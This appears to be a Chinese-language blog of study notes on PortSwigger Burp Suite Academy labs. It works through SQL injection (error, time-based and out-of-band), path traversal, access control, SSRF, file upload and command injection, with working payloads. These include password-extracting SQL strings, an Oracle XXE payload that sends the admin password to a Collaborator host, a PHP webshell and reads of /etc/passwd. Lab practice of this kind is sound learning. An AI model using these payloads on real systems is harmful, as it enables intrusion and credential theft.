6.出密码：'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' 和前面一样，Intruder 枚举 a，手动改第一个 1 即可

用 cluster bomb 更简单。sqlmap 不会用。

技巧是全部扫完后，多选 - 高亮指定length - 排序。

报错信息泄露

1.注入点：Cookie: TrackingId=B8kZGghEST0pmL5o，加一个'，发现报错：Unterminated string literal started at position，考虑信息泄露

2.测试报错：' and cast((select 1) as int)--,报错ERROR: argument of AND must be type boolean, not type integer，验证。' AND 1=CAST((SELECT 1) AS int)--，不报错，是可以用的。' AND 1=CAST((SELECT username FROM users) AS int)-- 但是这样子又变成了最开始的报错，考虑是输入被截断了！！

3.解决截断：' AND 1=CAST((SELECT username FROM users) AS int)--，报错变成ERROR: more than one row returned by a subquery used as an expression，再改成 ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--,报错ERROR: invalid input syntax for type integer: "administrator"，成功出用户名！

4.出密码：' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

时间盲注

1.注入点判断：Cookie: TrackingId=x,添加'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--，对比'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- 发现延时，有时间盲注。这里的 %3B 是分号，防止 burp 识别成两个参数。

pg_sleep(n)的函数类型：pg_sleep是 PostgreSQL 的 “延迟函数”，返回值类型为void（无返回值），它的作用是暂停当前数据库会话的执行 ，仅能在SELECT语句的选择列表（SELECT 列/函数）中执行，无法作为WHERE子句的条件表达式。

2.验证条件：'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

3.出长度：'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

4.出密码：'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Intruder 里爆破，为了保证有效性，需要在 Resource Pool 里把线程数调整为 1，这样会串行发送请求（否则会同时发送n个，导致共同阻塞）。同时，看结果是需要开启顶栏 - columns - Response Received

Cluster Bomp用不了，只能手动调整数字，然后爆破字母，可以用多线程。

带外盲注

1.注入点：Cookie: TrackingId=VKVwX08YULpCF0yM

2.尝试带外：'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http://255pds2evbd16n9qqk51tr8fu60xoncc.oastify.com">+%25remote%3b]>'),'/l')+FROM+dual--

payload讲解：

该语句的关键是利用 Oracle 的 XML 外部实体注入（XXE）特性触发带外 HTTP 请求，流程如下

闭合并拼接联合查询：通过单引号'闭合原始 SQL 的字符串，再用UNION SELECT拼接恶意查询，确保整体 SQL 语法合法。

构造 XML 类型数据：xmltype(...)将包含外部实体的 XML 字符串转换为 Oracle 可解析的 XML 对象。

解析外部实体触发带外请求：

当 Oracle 解析 XML 中的%remote;实体时，会根据SYSTEM指定的http://BURP-COLLABORATOR-SUBDOMAIN/发起HTTP 请求；

即使该 HTTP 请求无返回数据，Burp Collaborator 服务器也能捕获到这个请求，证明注入语句被执行。

补全语法并执行：EXTRACTVALUE和FROM dual补全 Oracle 的查询语法，让整个语句顺利执行，无语法错误。

在 Oracle 数据库的带外注入中，无法直接通过常规 SQL 语法发起 HTTP 请求，必须借助 XML 相关函数（如xmltype+EXTRACTVALUE）间接实现，核心原因是Oracle 本身没有内置的原生 HTTP 请求函数

plus

payload:

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

然后看子域名即可

其他场景的注入

XML 编码绕过 WAF

1.注入点：

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>2</productId>
    <storeId>1</storeId>
</stockCheck>

2.测试：改为 1 union select null ，发现被检查出攻击了，有 waf。将内容进行 html 实体编码，发现绕过了。再测试，发现只能返回一行，所以需要拼接字符串。

3.payload：

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>2</productId>
    <storeId>1 UNION SELECT username || '~' || password FROM users</storeId>
</stockCheck>

把1 UNION SELECT username || '~' || password FROM users 编码为1 UNION SELECT username || '~' || password FROM users

Burp靶场：Server-side vulnerabilities

Fri, 14 Nov 2025 00:00:00 +0000

Path traversal 路径穿越

路径遍历（又称目录遍历）漏洞允许攻击者读取运行应用程序的服务器上的任意文件，可能包括：

应用程序代码与数据

后端系统的凭证信息

敏感的操作系统文件

在某些情况下，攻击者还可能向服务器的任意文件写入内容，进而修改应用程序数据或行为，最终完全控制服务器。

示例

<img src="/loadImage?filename=218.png">

网站中有这样一个链接，如果在 Linux 系统中，一般 218.png 储存在 /var/www/images/218.png

想要测试路径穿越，就用：https://insecure-website.com/loadImage?filename=../../../etc/passwd 来读取

如果是 Windows，改用：https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini 即可

Lab

比较简单，是一个商城页面，和上面类似。注意不能直接在浏览器访问，不然会被当成图片解析

Acess Control 访问控制

在 Web 应用场景中，访问控制依赖于身份验证（Authentication）和会话管理（Session Management）：

身份验证：确认用户是否为其声称的身份（即 “验明正身”）。

会话管理：识别后续哪些 HTTP 请求来自同一用户。

访问控制：判定该用户是否被允许执行其尝试的操作。

访问控制失效（Broken Access Controls）是常见且通常具有严重危害的安全漏洞。访问控制的设计与管理是一个复杂的动态问题 —— 需将业务、组织及合规约束融入技术实现中。由于访问控制的设计决策需人工制定，因此出错风险较高。

垂直权限提升
- 若用户能够访问其无权限访问的功能，则构成垂直权限提升。例如，非管理员用户若能访问可删除用户账户的管理页面，即属于垂直权限提升。

未受保护的路径

最基础的纵向越权，源于应用对敏感功能完全未加保护。

举例：某网站的敏感功能（如https://insecure-website.com/admin），可能被所有用户访问，而非仅限管理员。这类管理 URL 可能通过robots.txt等途径泄露，即便未公开，攻击者也可能用字典攻击猜解到位置。
可能通过 js 代码泄露
判定是否为管理员的参数在路径里
- 或者 cookie 等地方

Lab1 robots.txt 泄露

先看下 /robots.txt，找到不可访问的路径，访问即可

Lab2 js 泄露

看 js 代码，找到泄露的路径

Lab3 cookie 泄露

进到 /login,发现不能注册。进到 /admin,发现不是管理员看不了。回到 /login 随便填，抓包看一下，发现 cookie 里泄露了 Admin = false

不知道哪里出了问题，没有看到 cookie 里有 Admin

水平越权

发生在某用户能违规读取其他用户的信息时

Lab userid 泄露

在 user 的 blog 路径中可以看到 uid，然后在 myaccount 的地址中更换 uid 即可。

垂直越权

用户可以通过更改已知路径，从而访问、修改 admin 的信息。

Lab 访问 admin

其实是 administrator……

登录已有账号后，抓包主页，改 id 为 administrator，就可以看到回显的密码，登录即可。

身份验证漏洞

身份验证是确认用户身份真实性的过程。授权则涉及验证用户是否被允许执行特定操作。

暴力破解

暴力破解并非总是单纯地对用户名和密码进行完全随机的猜测。攻击者还能结合基本逻辑或公开可得的知识，对暴力破解攻击进行精细调整，从而做出更具针对性的猜测。只有密码认证的网站容易被如此攻击。

可以看 user 的主页，抓包的返回信息等内容；可以通过已知的用户名来枚举未知用户名；

Lab1 Intruder 的使用

题目给了 username 和 password，直接用 intruder 爆破就可以了。

Tips：非必要情况下，先用 Sniper 限定范围效率更高。

这里补充一下 intruder 的模式：

需求场景	选哪个模式
测多个参数，逐个参数灌 Payload	Sniper
多个参数同时灌相同 Payload	Battering ram
多个参数一一对应灌不同 Payload	Pitchfork
多个参数的 Payload 全组合测试	Cluster bomb

Lab2 二次验证无效

比较奇怪的题，没有想到二次认证是没用的……登录已给的账户后，可以在邮箱中接收到验证码，然后登录。记下 URL，然后登录另一个给的账号（没有给邮箱），在验证界面直接跳转 URL，就可以到主页了。限制条件有点多，没什么用？

SSRF 服务端请求伪造

服务器端请求伪造是一种网络安全漏洞，允许攻击者诱使服务器端应用程序向非预期位置发送请求。

可能会被用来对内网服务发送请求，导致信息泄露。

比如本来用于请求后端指定信息的 URL：stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 ，可以被利用为 stockApi=http://localhost/admin ,由于是内网发出的请求，所以不会被按规则拦截。

漏洞成因：

访问控制为额外组件，对后端请求不做拦截
为 admin 的遗失留后门，所有本地 user 都可以访问

Lab SSRF

先找注入点，在查询时，出现了 stockApi，改成 http://localhost/admin 测试，成功，删除即可

Lab 本地IP扫描

还是上一题的注入点，但是本地的 admin IP 和 stockApi 的 IP 不同了，所以扫描 192.168.0.X:8080/admin,找到异常 IP

文件上传

有时候上传一个文件本身已经很危险了，如果再加上让这个文件执行呢……

漏洞成因：

网站通常不会对用户上传文件完全无限制，但开发者所做的文件上传验证常存在缺陷或易被绕过：

黑名单机制可能遗漏危险文件类型，或未考虑文件扩展名解析差异；
依赖可被攻击者（通过Burp等工具）篡改的文件属性进行类型校验；
验证措施在网站的多主机、多目录间应用不一致，存在可被利用的漏洞。

WebShell：上传到网站上的，使攻击者获得几乎对网站所有控制权的文件，常见形式类似：

<?php echo system($_GET['command']); ?>

Lab1 普通的文件上传

上传了 <?php echo system($_GET['command']); ?> 后访问，改一下 cmd 读取密码就可以了。结果 echo + cat 了两遍……有回显时不需要外层的 echo。

Lab2 MIME 绕过

改一下 MIME 类型就可以了

命令注入

命令用途	Linux 命令	Windows 命令
当前用户名	whoami	whoami
操作系统信息	uname -a	ver
网络配置	ifconfig	ipconfig /all
网络连接情况	netstat -an	netstat -an
正在运行的进程	ps -ef	tasklist

在注入的命令后添加额外的命令分隔符 & 很有用，因为它能将注入的命令与注入点之后的内容分开，用于测试注入点。

Lab 命令注入

找到的注入点是 productId=2&storeId=1

先尝试最常用的命令分隔符，优先级一般是：| > ; > & > && > ||

于是 payload 为：productId=2&storeId=1|whoami

SQL注入

手动检测 SQL 注入，需对应用的每个输入点进行系统性测试，通常要提交这些内容：

单引号'，观察是否出现错误或异常；
能让输入点返回原值 / 不同值的 SQL 语法，看应用响应是否有规律差异；
OR 1=1、OR 1=2这类布尔条件，观察响应变化；
会触发 SQL 查询延迟的载荷，对比响应耗时差异；
能触发带外网络交互的 OAST 载荷，同时监控交互情况。

另外，用 Burp Scanner 可以快速、可靠地发现大部分 SQL 注入漏洞。

-- 是注释符，后面的语句会被省略

使用 OR 1=1 时要小心，如果时删除或更新语句，会造成觉察不到的错误。

Lab SQL闭合

题目给的语句：SELECT * FROM products WHERE category = 'Gifts' AND released = 1

注入点：/filter?category=Clothing%2c+shoes+and+accessories

先把查询的拼进去，就是：...WHERE category = 'Clothing <...>' AND released = 1 ,然后再想怎么注入。

把引号闭合，再把后面的 and 注释掉，payload 为：'+OR+1=1--

在 URL 中，空格不能直接传输（会被解析为参数分隔符），因此需要用+或%20做 URL 编码，后端接收到后会自动解码为空格。

Lab 用户名-密码校验

password payload:' OR 1=1--

注意，如果要注入在 username 的话，也可以

Burp靶场 on Calendar's Blog

Burp靶场：CSRF 跨站请求伪造

知识

原理

示例

攻击构造

触发方式

防御手段

Samesite防御

Strict

Lax

None

攻击手段

CSRF

Samesite

get 绕过 Lax

重定向绕过 Strict

新颁发 Cookie 绕过 Strict

绕过 Referer

空白绕过

弱检测

Labs

无 waf

绕过 CSRF 令牌

漏查 GET

漏查无令牌情况

漏查令牌所有者

令牌只与 Cookie 绑定

令牌在 Cookie 复用

绕过 Samesite

Lax

Get + _method 绕过

利用新颁发 Cookie 绕过 Oauth

Strict

重定向绕过

子域名 + WebSocket

Referrer 绕过

检测遗漏

检测简陋

Burp靶场：XSS 跨站脚本注入（待完善）

知识

原理

验证XSS漏洞（PoC）

反射型

示例

影响

攻击方式

漏洞发现

存储型

示例

影响

漏洞发现

DOM型

漏洞发现

漏洞利用

悬挂标记注入

示例

防护措施

CSP 内容安全策略

缓解XSS攻击

缓解悬挂标记注入攻击

防护点击劫持攻击

CSP的绕过技巧

Burp靶场：SQL注入

知识

注入点

UNION 攻击

判断列数

寻找数据类型可用的列

漏洞利用

合并字符串

不同数据库的差异

数据库信息查询

列出数据库中的内容

盲注

布尔

条件

报错

时间

带外